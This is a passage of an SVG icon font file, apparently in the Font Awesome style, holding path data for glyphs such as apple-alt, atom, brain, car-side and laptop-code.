29.7812l-29.7812 12.4219 +c-1.21875 0.609375 -2.21875 2.21875 -2.21875 3.57812c0 1.375 1 2.96875 2.21875 3.57812l29.7812 12.4219l12.4062 29.7812c0.625 1.21875 2.21875 2.21875 3.59375 2.21875s2.96875 -1 3.56152 -2.21875l12.4385 -29.7812l29.7812 -12.4219 +c1.21875 -0.609375 2.21875 -2.20312 2.21875 -3.57812c0 -1.35938 -1 -2.96875 -2.21875 -3.57812zM448 384l-29.7812 12.4219c-1.21875 0.609375 -2.21875 2.21875 -2.21875 3.57812c0 1.375 1 2.96875 2.21875 3.57812l29.7812 12.4219l12.4062 29.7812 +c0.625 1.21875 2.21875 2.21875 3.59375 2.21875s2.96875 -1 3.56152 -2.21875l12.4385 -29.7812l29.7812 -12.4219c1.21875 -0.609375 2.21875 -2.20312 2.21875 -3.57812c0 -1.35938 -1 -2.96875 -2.21875 -3.57812l-29.7812 -12.4219l-12.4385 -29.7812 +c-0.592773 -1.21875 -2.18652 -2.21875 -3.56152 -2.21875s-2.96875 1 -3.59375 2.21875zM480 224l29.7812 -12.4219c1.21875 -0.609375 2.21875 -2.20312 2.21875 -3.57812c0 -1.35938 -1 -2.96875 -2.21875 -3.57812l-29.7812 -12.4219l-12.4385 -29.7812 +c-0.592773 -1.21875 -2.18652 -2.21875 -3.56152 -2.21875s-2.96875 1 -3.59375 2.21875l-12.4062 29.7812l-29.7812 12.4219c-1.21875 0.609375 -2.21875 2.21875 -2.21875 3.57812c0 1.375 1 2.96875 2.21875 3.57812l29.7812 12.4219l12.4062 29.7812 +c0.625 1.21875 2.21875 2.21875 3.59375 2.21875s2.96875 -1 3.56152 -2.21875zM445.781 300.422l-29.7812 -12.4219l-12.4385 -29.7812c-0.592773 -1.21875 -2.18652 -2.21875 -3.56152 -2.21875s-2.96875 1 -3.59375 2.21875l-12.4062 29.7812l-29.7812 12.4219 +c-1.21875 0.609375 -2.21875 2.21875 -2.21875 3.57812c0 1.375 1 2.96875 2.21875 3.57812l29.7812 12.4219l12.4062 29.7812c0.625 1.21875 2.21875 2.21875 3.59375 2.21875s2.96875 -1 3.56152 -2.21875l12.4385 -29.7812l29.7812 -12.4219 +c1.21875 -0.609375 2.21875 -2.20312 2.21875 -3.57812c0 -1.35938 -1 -2.96875 -2.21875 -3.57812z" /> + <glyph glyph-name="apple-alt" unicode="" horiz-adv-x="448" +d="M350.85 319c25.9707 -4.66992 47.2705 -18.6699 63.9199 -42c14.6504 -20.6699 24.6406 -46.6699 29.9609 -78c4.66992 -28.6699 4.31934 -57.3301 -1 -86c-7.99023 -47.3301 -23.9707 -87 -47.9404 -119c-28.6396 -38.6699 -64.5898 -58 -107.87 -58 +c-10.6602 0 -22.2998 3.33008 -34.96 10c-8.66016 5.33008 -18.3096 8 -28.9697 8s-20.2998 -2.66992 -28.9707 -8c-12.6592 -6.66992 -24.2998 -10 -34.96 -10c-43.2793 0 -79.2295 19.3301 -107.869 58c-23.9707 32 -39.9502 71.6699 -47.9404 119 +c-5.32031 28.6699 -5.66992 57.3301 -1 86c5.32031 31.3301 15.3096 57.3301 29.96 78c16.6504 23.3301 37.9502 37.3301 63.9199 42c15.9805 2.66992 37.9502 0.330078 65.9199 -7c23.9697 -6.66992 44.2803 -14.6699 60.9307 -24 +c16.6494 9.33008 36.96 17.3301 60.9297 24c27.9795 7.33008 49.96 9.66992 65.9395 7zM295.91 360c-9.32031 -8.66992 -21.6504 -15 -36.96 -19c-10.6602 -3.33008 -22.2998 -5 -34.96 -5l-14.9805 1c-1.33008 9.33008 -1.33008 20 0 32 +c2.66992 24 10.3203 42.3301 22.9707 55c9.31934 8.66992 21.6494 15 36.96 19c10.6592 3.33008 22.2998 5 34.96 5l14.9795 -1l1 -15c0 -12.6699 -1.66992 -24.3301 -4.99023 -35c-3.98926 -15.3301 -10.3096 -27.6699 -18.9795 -37z" /> + <glyph glyph-name="atom" unicode="" horiz-adv-x="448" +d="M223.999 224c17.6484 -0.03125 31.9727 -14.3525 32.0078 -32c0 -17.6611 -14.3389 -32 -32 -32s-32 14.3389 -32 32c0 17.6582 14.335 31.9961 31.9922 32zM438.171 320c16.3789 -29.375 15.0039 -73.125 -25.1309 -128c40.1348 -54.875 41.5098 -98.625 25.1309 -128 +c-29.1309 -52.375 -101.646 -43.625 -116.275 -41.875c-21.5039 -51.25 -54.2617 -86.125 -97.8965 -86.125s-76.3906 34.875 -97.8965 86.125c-14.627 -1.75 -87.1426 -10.5 -116.273 41.875c-16.3789 29.375 -15.0039 73.125 25.1289 128 +c-40.1328 54.875 -41.5078 98.625 -25.1289 128c10.877 19.5 40.5078 50.625 116.273 41.875c21.5059 51.25 54.2617 86.125 97.8965 86.125s76.3926 -34.875 97.8965 -86.125c75.7656 8.875 105.398 -22.375 116.275 -41.875zM63.3389 96 +c3.75195 -6.625 19.0059 -11.875 43.6348 -11c-2.75 13 -5.125 26.375 -6.75 40.125c-7.75195 6.25 -15.0039 12.625 -21.8809 19.125c-15.1289 -23.5 -19.0039 -41 -15.0039 -48.25zM100.224 258.875c1.625 13.5 3.875 26.875 6.75 40.25c-1.875 0 -4 0.375 -5.75 0.375 +c-21.5059 0 -34.5078 -5.375 -37.8848 -11.5c-4 -7.25 -0.125 -24.75 15.0039 -48.25c6.87695 6.5 14.1289 12.875 21.8809 19.125zM223.999 384c-9.50195 0 -22.2539 -13.5 -33.8828 -37.25c11.2539 -3.75 22.5059 -8 33.8828 -12.875 +c11.3789 4.875 22.6309 9.125 33.8828 12.875c-11.627 23.75 -24.3809 37.25 -33.8828 37.25zM223.999 0c9.50195 0 22.2559 13.5 33.8828 37.25c-11.252 3.75 -22.5039 8 -33.8828 12.875c-11.377 -4.875 -22.6289 -9.125 -33.8828 -12.875 +c11.6289 -23.75 24.3809 -37.25 33.8828 -37.25zM223.999 112c44.1533 0 80 35.8467 80 80s-35.8467 80 -80 80s-80 -35.8467 -80 -80s35.8467 -80 80 -80zM384.659 96c4 7.25 0.125 24.75 -15.0039 48.25c-6.875 -6.5 -14.127 -12.875 -21.8789 -19.125 +c-1.625 -13.75 -4 -27.125 -6.75195 -40.125c24.6309 -0.875 40.0098 4.375 43.6348 11zM369.655 239.75c15.1289 23.5 19.0039 41 15.0039 48.25c-3.375 6.125 -16.3789 11.5 -37.8828 11.5c-1.75 0 -3.87695 -0.375 -5.75195 -0.375 +c2.87695 -13.375 5.12695 -26.75 6.75195 -40.25c7.75195 -6.25 15.0039 -12.625 21.8789 -19.125z" /> + <glyph glyph-name="bone" unicode="" horiz-adv-x="640" +d="M598.88 203.44c-9.42969 -4.70996 -9.42969 -18.1709 -0.00976562 -22.8809c25.2002 -12.5996 41.1201 -38.3496 41.1201 -66.5293v-7.64062c0 -41.0898 -33.2998 -74.3896 -74.3799 -74.3896c-32.0107 0 -60.4404 20.4902 -70.5703 50.8604 +c-6.53027 19.5996 -10.7305 45.1396 -38.1104 45.1396h-273.87c-26.5098 0 -30.4297 -22.1104 -38.1094 -45.1396c-10.1299 -30.3701 -38.5498 -50.8604 -70.5703 -50.8604c-41.0801 0 -74.3799 33.2998 -74.3799 74.3896v7.64062 +c0 28.1699 15.9199 53.9297 41.1201 66.5293c9.42969 4.70996 9.42969 18.1709 0 22.8809c-25.2002 12.5996 -41.1201 38.3594 -41.1201 66.5293v7.64062c0 41.0898 33.2998 74.3896 74.3896 74.3896c32.0107 0 60.4404 -20.4902 70.5605 -50.8604 +c6.53027 -19.5996 10.7295 -45.1396 38.1094 -45.1396h273.87c26.5107 0 30.4307 22.1104 38.1104 45.1396c10.1299 30.3701 38.5498 50.8604 70.5703 50.8604c41.0898 0 74.3896 -33.2998 74.3896 -74.3896v-7.64062c0 -28.1699 -15.9199 -53.9297 -41.1201 -66.5293z" /> + <glyph glyph-name="book-reader" unicode="" +d="M352 352c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96zM233.59 206.9c4.10059 -2.51074 6.41016 -6.79004 6.41992 -11.46v-245.99c0 -10.1602 -11.1094 -16.5898 -20.4795 -11.8701 +c-61.0498 30.75 -149.38 39.1396 -193.04 41.4297c-14.9004 0.770508 -26.4902 12.7207 -26.4902 27.0498v222.801c0 15.6299 13.5498 28.0098 29.7998 27.0898c48.3604 -2.75 144.46 -12.7305 203.79 -49.0498zM482.2 255.95 +c16.25 0.919922 29.7998 -11.46 29.8096 -27.0898v-222.82c0 -14.3301 -11.5898 -26.2803 -26.4902 -27.0596c-43.6494 -2.29004 -131.93 -10.6807 -192.97 -41.4004c-9.39941 -4.73047 -20.54 1.70996 -20.54 11.9004v245.789c0 4.6709 2.31055 9.12012 6.41016 11.6309 +c59.3203 36.3193 155.43 46.3096 203.78 49.0498z" /> + <glyph glyph-name="brain" unicode="" horiz-adv-x="576" +d="M208 448c35.2998 0 64 -28.7002 64 -64v-376c0 -39.7998 -32.2002 -72 -72 -72c-31.7998 0 -58.4004 20.7002 -68 49.2002c-3.90039 -0.700195 -7.90039 -1.2002 -12 -1.2002c-39.7998 0 -72 32.2002 -72 72c0 4.7998 0.5 9.5 1.40039 14.0996 +c-29 12 -49.4004 40.6006 -49.4004 73.9004c0 29.7002 16.2998 55.2998 40.2998 69.0996c-5.09961 10.6006 -8.2998 22.3008 -8.2998 34.9004c0 33.4004 20.5 62 49.7002 74c-1.10059 4.5 -1.7002 9.2002 -1.7002 14c0 35.2998 28.7002 64 64 64 +c0.799805 0 1.40039 -0.200195 2.2002 -0.200195c7.09961 27.7002 31.8994 48.2002 61.7998 48.2002zM576 144c0 -33.2998 -20.4004 -61.9004 -49.4004 -73.9004c0.900391 -4.59961 1.40039 -9.2998 1.40039 -14.0996c0 -39.7998 -32.2002 -72 -72 -72 +c-4.09961 0 -8.09961 0.5 -12 1.2002c-9.59961 -28.5 -36.2002 -49.2002 -68 -49.2002c-39.7998 0 -72 32.2002 -72 72v376c0 35.4004 28.7002 64 64 64c29.9004 0 54.7002 -20.5 61.7998 -48.2002c0.700195 0 1.40039 0.200195 2.2002 0.200195 +c35.2998 0 64 -28.7002 64 -64c0 -4.7998 -0.700195 -9.5 -1.7002 -14c29.2002 -12 49.7002 -40.5996 49.7002 -74c0 -12.5996 -3.09961 -24.2998 -8.2998 -34.9004c24 -13.7998 40.2998 -39.3994 40.2998 -69.0996z" /> + <glyph glyph-name="car-alt" unicode="" horiz-adv-x="480" +d="M438.66 235.67c24.1201 -9.16992 41.3398 -32.3301 41.3398 -59.6699v-48c0 -16.1299 -6.16016 -30.6797 -16 -41.9297v-54.0703c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32 +c-17.6699 0 -32 14.3301 -32 32v54.0703c-9.83984 11.2598 -16 25.8096 -16 41.9297v48c0 27.3398 17.2197 50.5 41.3398 59.6699l11.2402 28.0996l19.9297 49.8301c17.1104 42.7705 57.9307 70.4004 103.99 70.4004h127c46.0703 0 86.8799 -27.6299 103.99 -70.4004 +l19.9297 -49.8301zM131.93 289.83l-19.9297 -49.8301h256l-19.9297 49.8301c-7.29004 18.2197 -24.9404 30.1699 -44.5703 30.1699h-127c-19.6299 0 -37.2803 -11.9502 -44.5703 -30.1699zM80 128.2c19.2002 0 48 -3.19043 48 15.9502 +c0 19.1396 -28.7998 47.8496 -48 47.8496s-32 -12.7598 -32 -31.9004c0 -19.1396 12.7998 -31.8994 32 -31.8994zM400 128.2c19.2002 0 32 12.7598 32 31.8994c0 19.1406 -12.7998 31.9004 -32 31.9004s-48 -28.71 -48 -47.8496c0 -19.1406 28.7998 -15.9502 48 -15.9502z +" /> + <glyph glyph-name="car-battery" unicode="" +d="M480 320c17.6699 0 32 -14.3301 32 -32v-256c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v256c0 17.6699 14.3301 32 32 32h32v48c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-48h128v48c0 8.83984 7.16016 16 16 16h96 +c8.83984 0 16 -7.16016 16 -16v-48h32zM192 184v16c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8zM448 184v16c0 4.41992 -3.58008 8 -8 8h-40v40c0 4.41992 -3.58008 8 -8 8h-16 +c-4.41992 0 -8 -3.58008 -8 -8v-40h-40c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h40v-40c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v40h40c4.41992 0 8 3.58008 8 8z" /> + <glyph glyph-name="car-crash" unicode="" horiz-adv-x="640" +d="M143.25 227.19l-12.4199 -46.3701c-3.00977 -11.25 -3.62988 -22.8906 -2.41016 -34.3906l-35.2002 -28.9795c-6.56934 -5.41016 -16.3096 0.429688 -14.6201 8.76953l15.4404 76.6807c1.05957 5.25977 -2.66016 10.2793 -8 10.79l-77.8604 7.5498 +c-8.46973 0.819336 -11.2295 11.8301 -4.13965 16.54l65.1504 43.2998c4.45996 2.96973 5.37988 9.15039 1.97949 13.29l-49.71 60.4102c-5.41016 6.56934 0.429688 16.2998 8.78027 14.6201l76.6797 -15.4404c5.25977 -1.05957 10.2803 2.66016 10.7998 8l7.5498 77.8604 +c0.820312 8.47949 11.8301 11.2295 16.5508 4.13965l43.2998 -65.1396c2.96973 -4.45996 9.14941 -5.37988 13.29 -1.98047l60.3994 49.71c6.57031 5.41016 16.3008 -0.429688 14.6201 -8.76953l-11.3301 -56.1602c-2.70996 -3.0498 -5.42969 -6.08984 -7.90918 -9.40039 +l-32.1504 -42.9697l-10.71 -14.3203c-32.7305 -8.75977 -59.1797 -34.5293 -68.0801 -67.7393zM637.82 94.6797l-12.4199 -46.3594c-3.13086 -11.6807 -9.38086 -21.6104 -17.5508 -29.3604c-2.72852 -2.58398 -5.62695 -4.90137 -8.75977 -7l-13.9902 -52.2295 +c-1.13965 -4.27051 -3.09961 -8.10059 -5.64941 -11.3809c-7.66992 -9.83984 -20.7402 -14.6797 -33.54 -11.25l-30.9102 8.28027c-17.0703 4.57031 -27.2002 22.1201 -22.6299 39.1904l8.28027 30.9102l-247.28 66.2598l-8.28027 -30.9102 +c-4.57031 -17.0703 -22.1201 -27.2002 -39.1895 -22.6299l-30.9102 8.28027c-12.7998 3.42969 -21.7002 14.1592 -23.4199 26.5098c-0.570312 4.12012 -0.350586 8.41992 0.790039 12.6797l13.9893 52.2305c-1.63086 3.31445 -3.02148 6.85352 -4.08984 10.4492 +c-3.2002 10.79 -3.64941 22.5205 -0.519531 34.2002l12.4199 46.3701c5.30957 19.7998 19.3594 34.8301 36.8896 42.21c5.75 2.42285 12.0352 4.06543 18.4902 4.71973l18.1299 24.2305l32.1504 42.9697c3.44922 4.61035 7.18945 8.90039 11.1992 12.8398 +c8 7.89062 17.0303 14.4404 26.7402 19.5107c4.86035 2.54004 9.89062 4.70996 15.0498 6.48926c10.3301 3.58008 21.1904 5.62988 32.2402 6.04004s22.3105 -0.819336 33.4307 -3.7998l122.68 -32.8701c11.1201 -2.97949 21.4795 -7.54004 30.8496 -13.4297 +c14.0459 -8.81934 25.7959 -20.5068 34.6904 -34.5c8.81934 -13.8799 14.6396 -29.8398 16.6797 -46.9902l6.36035 -53.29l3.58984 -30.0498c10.3115 -7.44531 18.2578 -17.8018 22.7402 -29.9297c4.38965 -11.8799 5.29004 -25.1904 1.75 -38.3906zM255.58 213.66 +c-18.5498 4.96973 -34.21 -4.04004 -39.1699 -22.5303s4.10938 -34.1201 22.6494 -39.0898c18.5508 -4.96973 45.54 -15.5098 50.4902 2.97949c4.95996 18.4902 -15.4297 53.6709 -33.9697 58.6406zM546.19 185.49l-6.36035 53.29 +c-0.580078 4.87012 -1.88965 9.5293 -3.82031 13.8594c-5.7998 12.9902 -17.2002 23.0107 -31.4199 26.8203l-122.68 32.8701c-3.96777 1.0625 -8.13672 1.62891 -12.4375 1.62891c-15.7295 0 -29.6641 -7.53418 -38.4229 -19.2393l-32.1494 -42.9697l172 -46.0801z +M564.68 130.84c-18.5498 4.96973 -53.7998 -15.3096 -58.75 -33.79c-4.94922 -18.4902 23.6904 -22.8594 42.2402 -27.8301c18.5498 -4.96973 34.21 4.04004 39.1699 22.5303c4.9502 18.4805 -4.10938 34.1201 -22.6602 39.0898z" /> + <glyph glyph-name="car-side" unicode="" horiz-adv-x="640" +d="M544 256c53.0195 0 96 -42.9805 96 -96v-80c0 -8.83984 -7.16016 -16 -16 -16h-48c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-128c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-48c-8.83984 0 -16 7.16016 -16 16v112 +c0 29.79 20.4404 54.5996 48 61.7402l47.9102 122.029c9.71973 24.3008 33.25 40.2305 59.4199 40.2305h213.91c20.2227 -0.00292969 38.2441 -9.35645 49.9795 -24.0195l108.78 -135.98h16zM160 16c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48 +s21.5303 -48 48 -48zM232 256v96h-76.6699l-38.4004 -96h115.07zM280 256h166.04l-76.7998 96h-89.2402v-96zM480 16c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48s21.5303 -48 48 -48z" /> + <glyph glyph-name="charging-station" unicode="" horiz-adv-x="576" +d="M336 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-320c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h320zM544 320h16c8.83984 0 16 -7.16016 16 -16v-32c0 -35.7598 -23.6201 -65.6904 -56 -75.9297v-120.07 +c0 -44.4102 -38.29 -80.0498 -83.5898 -75.6201c-39.4902 3.85059 -68.4102 39.3398 -68.4102 79.0098v24.6104c0 22.0898 -17.9102 40 -40 40h-8v-112h-288v352c0 35.3496 28.6504 64 64 64h160c35.3496 0 64 -28.6504 64 -64v-192h8c48.5996 0 88 -39.4004 88 -88v-28 +c0 -16.9902 15.2197 -30.5 32.7402 -27.6104c13.7598 2.27051 23.2598 15.2402 23.2598 29.1904v118.49c-32.3799 10.2393 -56 40.1699 -56 75.9297v32c0 8.83984 7.16016 16 16 16h16v48c0 8.83984 7.16016 16 16 16s16 -7.16016 16 -16v-48h32v48 +c0 8.83984 7.16016 16 16 16s16 -7.16016 16 -16v-48zM260.09 272.24c4.62012 6.97949 -1.14941 15.7598 -10.3896 15.7598h-57.7002l11.5996 50.79c2.02051 6.66992 -3.71973 13.21 -11.5996 13.21h-68c-6.01953 0 -11.0996 -3.90039 -11.8896 -9.11035l-16 -107 +c-0.959961 -6.2998 4.63965 -11.8896 11.8896 -11.8896h59.3496l-23.0195 -83.0801c-1.7998 -6.63965 4 -12.9199 11.6699 -12.9199c4.17969 0 8.19043 1.91016 10.3896 5.24023z" /> + <glyph glyph-name="directions" unicode="" +d="M502.61 214.68c12.5195 -12.5293 12.5195 -32.8301 0 -45.3594l-223.931 -223.931c-12.5293 -12.5293 -32.8398 -12.5293 -45.3594 0l-223.931 223.931c-12.5195 12.5293 -12.5195 32.8301 0 45.3594l223.931 223.931c12.5293 12.5195 32.8398 12.5195 45.3594 0z +M401.63 202.12c3.42969 3.16992 3.42969 8.58984 0 11.7598l-84.21 77.7305c-5.12988 4.72949 -13.4297 1.08984 -13.4297 -5.87988v-53.7305h-112c-17.6699 0 -32 -14.3301 -32 -32v-80c0 -4.41992 3.58008 -8 8 -8h32c4.41992 0 8 3.58008 8 8v64h96v-53.7305 +c0 -6.97949 8.30957 -10.6094 13.4297 -5.87988z" /> + <glyph glyph-name="draw-polygon" unicode="" horiz-adv-x="448" +d="M384 96c35.3496 0 64 -28.6504 63.9902 -64c0 -35.3496 -28.6504 -64 -64 -64c-23.6299 0 -44.0303 12.9502 -55.1201 32h-209.75c-11.0801 -19.0498 -31.4902 -32 -55.1201 -32c-35.3496 0 -64 28.6504 -64 64c0 23.6299 12.9502 44.04 32 55.1299v209.75 +c-19.0498 11.0801 -32 31.4902 -32 55.1201c0 35.3496 28.6504 64 64 64c23.6299 0 44.04 -12.9502 55.1201 -32h209.76c11.0801 19.0498 31.4902 32 55.1201 32c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64c-0.349609 0 -0.669922 0.0898438 -1.01953 0.0996094 +l-39.2002 -65.3193c5.08008 -9.16992 8.21973 -19.5605 8.21973 -30.7803s-3.15039 -21.6104 -8.21973 -30.7803l39.2002 -65.3193c0.349609 0 0.669922 0.0996094 1.01953 0.0996094zM96 87.1201c9.61816 -5.58398 17.5361 -13.502 23.1201 -23.1201h208.36 +l-38.4609 64.0996c-0.349609 0 -0.669922 -0.0996094 -1.01953 -0.0996094c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64c0.349609 0 0.669922 -0.0898438 1.01953 -0.0996094l38.4609 64.0996h-208.36c-5.58691 -9.61523 -13.5049 -17.5332 -23.1201 -23.1201v-209.76z +M272 192c0 -8.82031 7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16zM400 352c0 8.82031 -7.17969 16 -16 16s-16 -7.17969 -16 -16s7.17969 -16 16 -16s16 7.17969 16 16zM64 368c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16 +s16 7.17969 16 16s-7.17969 16 -16 16zM48 32c0 -8.82031 7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16zM384 16c8.82031 0 16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16s7.17969 -16 16 -16z" /> + <glyph glyph-name="laptop-code" unicode="" horiz-adv-x="640" +d="M255.03 186.35l-58.3506 58.3408c-6.25 6.25 -6.25 16.3799 0 22.6299l58.3398 58.3398c6.25 6.25 16.3809 6.25 22.6309 0l11.3096 -11.3105c6.25 -6.25 6.25 -16.3799 0 -22.6299l-35.71 -35.7197l35.7197 -35.71c6.25 -6.25 6.25 -16.3799 0 -22.6299 +l-11.3096 -11.3105c-6.25 -6.25 -16.3799 -6.25 -22.6299 0zM351.04 197.65c-6.25 6.25 -6.25 16.3799 0 22.6299l35.71 35.7197l-35.71 35.71c-6.25 6.25 -6.25 16.3799 0 22.6299l11.3096 11.3105c6.25 6.25 16.3809 6.25 22.6309 0l58.3398 -58.3408 +c6.25 -6.25 6.25 -16.3799 0 -22.6299l-58.3398 -58.3398c-6.25 -6.25 -16.3809 -6.25 -22.6309 0zM624 32c8.7998 0 16 -7.2002 16 -16v-16c0 -35.2002 -28.7998 -64 -64 -64h-512c-35.2002 0 -64 28.7998 -64 64v16c0 8.7998 7.2002 16 16 16h239.23 +c-0.25 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46zM576 400v-336h-512v336c0 26.4004 21.5996 48 48 48h416c26.4004 0 48 -21.5996 48 -48zM512 128v256h-384v-256h384z" /> + <glyph glyph-name="layer-group" unicode="" +d="M12.4102 299.98c-16.5498 7.50977 -16.5498 32.5293 0 40.0391l232.95 105.671c3.23633 1.47949 6.87695 2.30371 10.666 2.30371s7.38672 -0.824219 10.624 -2.30371l232.93 -105.681c16.5498 -7.50977 16.5498 -32.5195 0 -40.0293l-232.94 -105.671 +c-6.7998 -3.08984 -14.4893 -3.08984 -21.29 0zM499.59 211.7c16.5498 -7.5 16.5498 -32.5 0 -40l-232.95 -105.59c-6.7998 -3.08008 -14.4893 -3.08008 -21.29 0l-232.939 105.59c-16.5498 7.5 -16.5498 32.5 0 40l58.0996 26.3301l161.63 -73.2705 +c7.57031 -3.42969 15.5908 -5.16992 23.8604 -5.16992s16.2998 1.74023 23.8604 5.16992l161.64 73.2705zM499.59 83.9004c16.5498 -7.5 16.5498 -32.5 0 -40l-232.95 -105.591c-6.7998 -3.0791 -14.4893 -3.0791 -21.29 0l-232.939 105.591 +c-16.5498 7.5 -16.5498 32.5 0 40l57.8799 26.2295l161.85 -73.3701c7.57031 -3.42969 15.5908 -5.16992 23.8604 -5.16992s16.2998 1.74023 23.8604 5.16992l161.859 73.3701z" /> + <glyph glyph-name="lungs" unicode="" horiz-adv-x="640" +d="M636.11 57.8496c2.58984 -9.68945 3.88965 -19.6396 3.88965 -29.6299c0 -61.2295 -62.4805 -105.439 -125.24 -88.6201l-59.5 15.9502c-42.1797 11.3105 -71.2598 47.4697 -71.2598 88.6201v87.4902l85.8398 -57.2305 +c1.26855 -0.845703 2.79395 -1.35156 4.43164 -1.35156c2.77734 0 5.22559 1.41992 6.6582 3.57227l8.87988 13.3096c0.845703 1.26758 1.35254 2.79395 1.35254 4.43164c0 2.77734 -1.41992 5.22559 -3.57227 6.6582l-167.59 111.72l-167.59 -111.72 +c-2.15332 -1.43262 -3.55957 -3.88379 -3.55957 -6.66113c0 -1.6377 0.493164 -3.16113 1.33984 -4.42871l8.87988 -13.3096c1.43262 -2.15332 3.88379 -3.56055 6.66113 -3.56055c1.6377 0 3.16016 0.494141 4.42871 1.33984l85.8398 57.2305v-87.4902 +c0 -41.1504 -29.0801 -77.3203 -71.2598 -88.6201l-59.5 -15.9502c-62.7598 -16.8193 -125.24 27.3906 -125.24 88.6201c0 9.99023 1.2998 19.9404 3.88965 29.6299c21.6699 81.3008 56.04 159.15 102.011 231.021c22.1191 34.5703 36.0693 63.1299 80.0498 63.1299 +c38.6895 0 70.0498 -29.4199 70.0498 -65.71v-60.1104l32.8799 21.9199c4.4502 2.9707 7.12012 7.95996 7.12012 13.3105v170.59c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-170.59c0 -5.55273 2.81934 -10.4414 7.12012 -13.3105l32.8799 -21.9199 +v60.1104c0 36.29 31.3604 65.71 70.0498 65.71c43.9805 0 57.9307 -28.5596 80.0498 -63.1299c45.9707 -71.8701 80.3408 -149.72 102.011 -231.021z" /> + <glyph glyph-name="microscope" unicode="" +d="M160 128c-17.6699 0 -32 14.3301 -32 32v224c0 17.6699 14.3301 32 32 32v16c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16v-16c17.6699 0 32 -14.3301 32 -32v-224c0 -17.6699 -14.3301 -32 -32 -32h-12v-16c0 -8.83984 -7.16016 -16 -16 -16h-40 +c-8.83984 0 -16 7.16016 -16 16v16h-12zM464 0c26.5098 0 48 -21.4902 48 -48c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16c0 26.5098 21.4902 48 48 48h272c70.5801 0 128 57.4199 128 128s-57.4199 128 -128 128v64 +c105.88 0 192 -86.1201 192 -192c0 -49.2002 -18.7598 -93.9902 -49.29 -128h1.29004zM104 32c-4.41992 0 -8 3.58008 -8 8v16c0 4.41992 3.58008 8 8 8h208c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-208z" /> + <glyph glyph-name="oil-can" unicode="" horiz-adv-x="640" +d="M629.8 287.69c5.11035 1.45996 10.2002 -2.38086 10.1904 -7.69043v-18.0801c0 -2.12012 -0.839844 -4.16016 -2.33984 -5.66016l-212.261 -214.75c-6.00977 -6.08984 -14.21 -9.50977 -22.7598 -9.50977h-274.63c-17.6699 0 -32 14.3301 -32 32v46.54l-69.7197 12.6904 +c-15.2207 2.75977 -26.2803 16.0195 -26.2803 31.4795v94.9502c0 17.9795 14.6699 32.0098 31.9297 32.0098c1.9873 0 3.9043 -0.181641 5.79004 -0.530273l138.28 -25.1396h56v48h-56c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h160 +c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-56v-48h56.8896c10.2598 -0.00390625 20.0205 -2.46191 28.6201 -6.75977l50.4902 -25.2402zM96 159.33v62.4297l-48 8.73047v-62.4307zM549.33 74.6699c0 23.5605 42.6699 85.3301 42.6699 85.3301 +s42.6699 -61.7598 42.6699 -85.3301s-19.0996 -42.6699 -42.6699 -42.6699s-42.6699 19.1104 -42.6699 42.6699z" /> + <glyph glyph-name="poop" unicode="" +d="M451.36 78.8604c34.3301 -5.48047 60.6396 -34.9805 60.6396 -70.8604c0 -39.7598 -32.2402 -72 -72 -72h-368c-39.7598 0 -72 32.2402 -72 72c0 35.8799 26.3096 65.3799 60.6396 70.8604c-17.2998 13.1494 -28.6396 33.7295 -28.6396 57.1396 +c0 39.7695 32.2402 72 72 72h14.0703c-13.4199 11.7305 -22.0703 28.7803 -22.0703 48c0 35.3496 28.6504 64 64 64h16c44.1797 0 80 35.8203 80 80c0 17.3799 -5.69043 33.3604 -15.1104 46.4805c4.95996 0.779297 9.94043 1.51953 15.1104 1.51953 +c53.0195 0 96 -42.9805 96 -96c0 -11.2803 -2.30957 -21.9502 -5.87988 -32h5.87988c35.3496 0 64 -28.6504 64 -64c0 -19.2197 -8.65039 -36.2695 -22.0703 -48h14.0703c39.7598 0 72 -32.2305 72 -72c0 -23.4102 -11.3398 -43.9902 -28.6396 -57.1396z" /> + <glyph glyph-name="shapes" unicode="" +d="M128 192c70.6455 0 128 -57.3545 128 -128s-57.3545 -128 -128 -128s-128 57.3545 -128 128s57.3545 128 128 128zM507 246.86c14.2402 -24.3799 -3.58008 -54.8604 -32.0898 -54.8604h-213.82c-28.5098 0 -46.3301 30.4805 -32.0898 54.8604l106.93 182.85 +c6.48828 10.9688 18.3906 18.3311 32.0469 18.3311c13.6553 0 25.6055 -7.3623 32.0938 -18.3311zM480 160c17.6611 0 32 -14.3389 32 -32v-160c0 -17.6611 -14.3389 -32 -32 